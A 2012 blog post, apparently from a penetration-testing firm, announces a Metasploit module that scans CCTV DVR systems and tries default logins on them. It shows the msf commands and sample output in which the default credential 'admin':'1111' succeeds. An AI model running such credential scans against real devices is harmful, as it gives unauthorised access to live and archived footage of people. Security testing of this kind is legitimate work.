Wednesday, 30 May 2012

Hacking CCTV Security Video Surveillance Systems with Metasploit

A new module for the Metasploit Framework, cctv_dvr_login, discovers and tests the security of standalone CCTV (Closed Circuit Television) video surveillance systems. Such systems are frequently deployed in retail stores, living communities, personal residences, and business environments as part of their physical security program. However, many of these systems are vulnerable to exploitation that can allow attackers remote access. Such remote access, enabled by default, can allow not only the ability to view real-time video, but control of the cameras (if supported), and provide access to archived footage.

Most owners of CCTV video surveillance systems may not even be fully aware of the device's remote access capabilities as monitoring may be conducted exclusively via the local video console. This further increases the likelihood of attackers gaining/persisting remote access, with no indication to the owner that their video surveillance system and archived footage may be accessed remotely.

Here at Gotham Digital Science, we often encounter video surveillance systems during penetration testing engagements – some of which may be exposed to the Internet, either intentionally or by accident. With any video surveillance system it is often interesting (and sometimes very important) to find out exactly what cameras are monitoring/recording within the environment. Furthermore, access to such systems can often be utilized to support physical security testing initiatives.

This module targets standalone CCTV video surveillance systems by MicroDigital, HIVISION, CTRing, and a substantial number of other rebranded devices.

msf > use auxiliary/scanner/misc/cctv_dvr_loginmsf auxiliary(cctv_dvr_login) > set RHOSTS => auxiliary(cctv_dvr_login) > exploit

[*] CCTV_DVR - [001/133] - Trying username:'admin' with password:''
[-] CCTV_DVR - [001/133] - Failed login as: 'admin'
[*] CCTV_DVR - [002/133] - Trying username:'user' with password:''
[-] CCTV_DVR - [002/133] - Invalid user: 'user'
[*] CCTV_DVR - [003/133] - Trying username:'admin' with password:'admin'
[-] CCTV_DVR - [003/133] - Failed login as: 'admin'
[*] CCTV_DVR - [004/133] - Trying username:'admin' with       password:'1111'
[+] Successful login: 'admin' : '1111'
[*] Confirmed IE ActiveX HTTP interface ( v1,1,3,1):
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


CCTV DVR Login Scanning Utility

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